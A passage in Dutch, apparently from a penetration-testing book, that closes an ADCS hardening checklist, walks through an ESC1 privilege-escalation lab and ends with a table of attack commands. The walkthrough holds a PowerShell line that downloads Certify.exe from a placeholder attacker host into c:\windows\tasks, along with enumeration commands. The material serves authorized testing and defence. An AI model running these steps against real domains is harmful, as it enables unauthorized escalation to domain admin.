  4. Geen EDITF_ATTRIBUTESUBJECTALTNAME2 — tenzij je een heel goede reden hebt, en “het was makkelijker zo” is geen goede reden.
  5. Separeer CA-rollen — de CA-beheerder zou niet dezelfde persoon moeten zijn als de domain admin.
  6. CRL/OCSP — zorg dat revocatie daadwerkelijk werkt en gecontroleerd wordt.
  7. HSM — bewaar de CA private key in een Hardware Security Module, niet op de harde schijf van de server.
  8. Tier-model — de CA hoort in Tier 0, net als de domain controllers. Behandel hem ook zo.
  9. Geen Web Enrollment zonder EPA — als je Certificate Enrollment Web Services aanbiedt, gebruik HTTPS en schakel Extended Protection for Authentication in.
  10. Documentatie — documenteer elke template: wie heeft hem gemaakt, waarom bestaat hij, wie mag enrollen, en wanneer is hij voor het laatst gereviewd.

Lab walkthrough: ESC1 van begin tot eind

Voor wie het in de praktijk wil zien, hier een complete walkthrough vanuit een schone lab-omgeving. Je hebt nodig: een DC (dc01.yourlab.local) met ADCS geinstalleerd, een werkstation, en een gewoon gebruikersaccount.

Stap 1: Omgeving verifiëren

# Check of ADCS draait
certutil -config - -ping
# Verwachte output: naam van de CA en "Alive" status

# Controleer je huidige identity
whoami
# Verwacht: yourlab\normaluser

Stap 2: Certify deployen via IB

Gebruik het get_certify command om Certify naar het doelsysteem te downloaden. In IB, navigeer naar de Commands-pagina en klik op get_certify. Het script download Certify naar c:\windows\tasks\:

powershell -c (new-object System.Net.WebClient).DownloadFile(
  'http://YOUR_IB_IP/tools/Certify.exe',
  'c:\windows\tasks\Certify.exe'
)

Stap 3: Enumeratie

cd c:\windows\tasks
.\Certify.exe find /vulnerable

Zoek in de output naar een template met alle drie de voorwaarden: - ENROLLEE_SUPPLIES_SUBJECT - Client Authentication EKU - Enrollment rights voor jouw groep

Stap 4: Exploitatie

Voer de volledige ESC1-keten uit zoals eerder beschreven. Documenteer elke stap met screenshots voor je rapport.

Stap 5: Opruimen

Na de test, verwijder het certificaat en documenteer de bevinding:

# Verwijder het lokale certificaat
certutil -delstore My "SerialNumber"

# Verwijder bestanden
del c:\windows\tasks\Certify.exe
del c:\windows\tasks\esc1.pfx

IB — Gebruik de findings-module in IB om de bevinding vast te leggen. ADCS ESC1 is typisch een “Hoog” of “Kritiek” bevinding, afhankelijk van de impact. Neem screenshots op van de kwetsbare template-configuratie, het uitgegeven certificaat, en het bewijs van domain admin-toegang.


De ware waanzin

Laten we even stilstaan bij wat we hier zien. Active Directory Certificate Services is een fundamenteel onderdeel van de identiteitsinfrastructuur van vrijwel elke grote organisatie ter wereld. Het is ontworpen om vertrouwen te beheren. En het is zo complex, zo slecht gedocumenteerd, en zo makkelijk verkeerd te configureren dat een enkele checkbox in een template-wizard — een checkbox die standaard aanstaat bij bepaalde template types — voldoende is om een aanvaller van helpdesk-medewerker naar domain admin te promoveren.

Niemand begrijpt PKI. Dat is geen grap — het is een observatie. Ik heb het gevraagd aan systeembeheerders, security officers, zelfs aan mensen die de CA beheren. “Hoe werken je certificate templates?” wordt beantwoord met een blik die varieert van milde paniek tot existentiële crisis. Ze hebben het opgezet. Het werkt. Raken. We. Het. Niet. Aan.

En dat is precies het probleem. PKI is het fundament waarop authenticatie, encryptie en vertrouwen gebouwd zijn. Maar omdat niemand het begrijpt, controleert niemand het. Omdat niemand het controleert, wordt het niet gepatcht. En omdat het niet gepatcht wordt, is het jarenlang kwetsbaar. De “Certified Pre-Owned” paper beschreef kwetsbaarheden die al bestonden sinds de introductie van ADCS. Niet maanden. Jaren. Soms decennia.

Het is als een land dat zijn grondwet niet begrijpt maar er wel op vertrouwt. Iedereen gaat ervan uit dat iemand anders het in de gaten houdt. Maar niemand doet het. En op een dag komt er iemand langs die de grondwet daadwerkelijk leest, en ontdekt dat er een clausule in staat die zegt: “Wie dit leest, mag het land hebben.”


Referentietabel

Onderwerp IB Command Tool Moeilijkheid
CA en template enumeratie adcs_enum Certify.exe, Certipy Laag
Certify.exe downloaden get_certify PowerShell WebClient Laag
ESC1 — SAN misconfig adcs_esc1 Certify.exe, Rubeus Gemiddeld
ESC3 — Enrollment Agent adcs_esc3 Certify.exe, Rubeus Gemiddeld
ESC6 — CA flag misconfig adcs_esc6 certutil, Certify.exe Gemiddeld
PKINIT authenticatie (onderdeel van ESC1-6) Rubeus, Certipy Gemiddeld
Template hardening Certify /vulnerable Laag
CA flag controle adcs_esc6 (stap 1) certutil Laag

In het volgende hoofdstuk behandelen we persistentie — de kunst om te blijven, zelfs wanneer de verdedigers denken dat ze je eruit hebben gegooid. Want het enige dat erger is dan een inbreker in je huis, is een inbreker die er nooit meer weggaat.